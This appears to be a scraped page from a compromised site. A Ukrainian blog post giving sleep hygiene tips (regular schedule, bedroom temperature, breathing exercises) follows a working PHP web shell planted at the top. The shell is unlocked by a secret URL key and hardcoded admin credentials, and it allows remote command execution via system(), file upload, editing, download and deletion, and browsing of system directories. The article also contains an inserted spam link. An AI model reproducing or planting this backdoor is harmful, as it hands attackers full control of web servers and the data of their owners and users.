if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Корисні поради для здорового та якісного сну дорослих – collectives.berlin

Your digital paradise.

Корисні поради для здорового та якісного сну дорослих

Регулярність – ключ до успіху. Лягайте спати і прокидайтеся в один і той самий час навіть у вихідні. Ця звичка налагоджує природні ритми організму, що позитивно впливає на загальний стан. Після кількох тижнів ви помітите, https://medart.in.ua/ як ваш час на відпочинок стає якіснішим.

Комфортне середовище – запорука спокою. Переконайтеся, що ваша спальня темна, тихий та прохолодний. Використовуйте затемнюючі штори, що захищають від зовнішнього світла, та вентилятори або кондиціонери для підтримки оптимальної температури.

Технології вбивають відчуття сну. Уникайте використання електронних пристроїв за годину до відпочинку. Синє світло від екранів може негативно вплинути на виробництво мелатоніну, гормону, що регулює сон. Читайте книги або слухайте музику, щоб розслабитися перед сном.

Розслаблення перед сном. Використовуйте техніки глибокого дихання або медитацію. Спростуйте напруження в тілі, виконуючи легкі вправи на розтяжку. Це допоможе зняти стрес та підготувати організм до відпочинку.

Створення комфортного середовища для сну

Температура в спальні впливає на якість нічного відпочинку. Оптимальний діапазон – від 16 до 20 градусів Цельсія. Використання терморегуляторів або провітрювання перед сном дозволить зберегти стабільну прохолоду в приміщенні.

Освітлення

Затемненість грає важливу роль у процесі засинання. Використання blackout штор або масок для очей може зменшити вплив зовнішнього світла. Важливо також уникати яскравого штучного освітлення за годину до відпочинку, оскільки воно може порушити вироблення мелатоніну.

Атмосфера

  • Вибір матраца та подушок: вони мають відповідати анатомічним вигином тіла.
  • Чистота: регулярне прибирання кімнати та зміна постільної білизни зменшує алергени.
  • Запахи: приємні аромати, такі як лаванда, можуть сприяти розслабленню.

Звукове оточення також потребує уваги. Використання білих шумів або природних звуків може зменшити вплив дратівливих звуків ззовні. Дослідження показують, що м’які звуки сприяють більш глибокому сну та зменшують кількість пробуджень вночі.

Вправи та розслаблюючі техніки перед сном

Займіться легкою йоґою або розтягуванням щонайменше за годину до сну. Ось кілька вправ: поза дитини, поза кота і корови, а також стоячи або сидячи нахилити тулуб вперед. Ці пози допомагають розслабити м’язи, зняти напругу й зменшити тривогу. Не варто виконувати складні чи інтенсивні тренування, оскільки вони можуть активувати організм і ускладнити відпочинок.

Дихальні техніки

Спробуйте 4-7-8 дихальну техніку. Вдихайте через ніс на чотири рахунки, затримайте дихання на сім рахунків, а потім повільно видихайте через рот на вісім. Повторюйте цей цикл кілька разів. Такі вправи сприяють зниженню рівня стресу та підготовці до спокійного відпочинку. Включення медитації протягом 10-15 хвилин також може суттєво допомогти збалансувати психоемоційний стан. Зосередьтеся на диханні або використовуйте керовані медитації для досягнення глибшого розслаблення.

Leave a Reply

Your email address will not be published. Required fields are marked *